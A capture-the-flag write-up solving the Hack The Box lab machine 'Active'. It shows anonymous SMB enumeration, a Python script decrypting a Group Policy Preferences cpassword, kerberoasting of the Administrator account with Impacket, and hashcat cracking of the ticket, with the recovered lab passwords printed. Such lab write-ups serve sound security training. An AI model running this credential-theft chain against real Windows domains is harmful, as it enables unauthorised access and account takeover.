> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/active.md).

# Active

Easy level AD box on HTB

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FriurxdwCaGKEPdp6NW9S%2Fimage.png?alt=media&amp;token=37d49851-99b4-4dfc-a893-d06dc889b12a" alt=""><figcaption></figcaption></figure>

Nmap gave the following ports to be open\
`53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 49152, 49153, 49154, 49155, 49157, 49158, 49165`

Now, Running `nmap` in -sCV to get service and version information, and we get

```bash
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-28 05:00:12Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-02-28T05:01:10
|_  start_date: 2026-02-28T04:56:29
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -1s

```

This confirms SMB anonymous access is enabled

```bash
┌─[us-dedivip-4]─[10.10.xx.xx]─[adroxz@htb-tr-htb-cloud-com]─[~]
└──╼ [★]$ smbclient -L //10.129.1.37 -N
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Replication     Disk      
	SYSVOL          Disk      Logon server share 
	Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.1.37 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Now accessing `Users` was denied, but `Replication` was allowed. After going through the folder, I found an interesting file `Groups.xml`

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Now this gives a gpp encrypted cpassword, i.e : `edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ`

To Decrypt it, we'll use this script

```python
import base64
from Crypto.Cipher import AES

key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')

cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

cpassword += "=" * (-len(cpassword) % 4)

decoded = base64.b64decode(cpassword)
cipher = AES.new(key, AES.MODE_CBC, b'\x00'*16)
decrypted = cipher.decrypt(decoded)

print(decrypted.decode('utf-16').rstrip('\x00'))
```

and it gave us the password: `GPPstillStandingStrong2k18`\
and the username from xml file, `SVC_TGS`\
Now using it we'll access the Users folder in smb, and it gave us user flag

Now, using this command we'll check for any kerberoastable account

```bash
GetUserSPNs.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.1.37 -request
```

and we get

```bash
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2026-02-27 22:57:39.323359             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d0f53f78b1d5376f112a60d7fd152868$fe3a2a1d424ea0d284031fa7611b926f6df68f3e64e77541ec92dc6a0dada0c5b3a87a64a73f7041c295572bf178d23a5db2b...
```

Now we can crack this hash with hashcat using the following command

```bash
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
```

and we got the password: `Ticketmaster1968`

Now log in as Administrator in SMB and get the root flag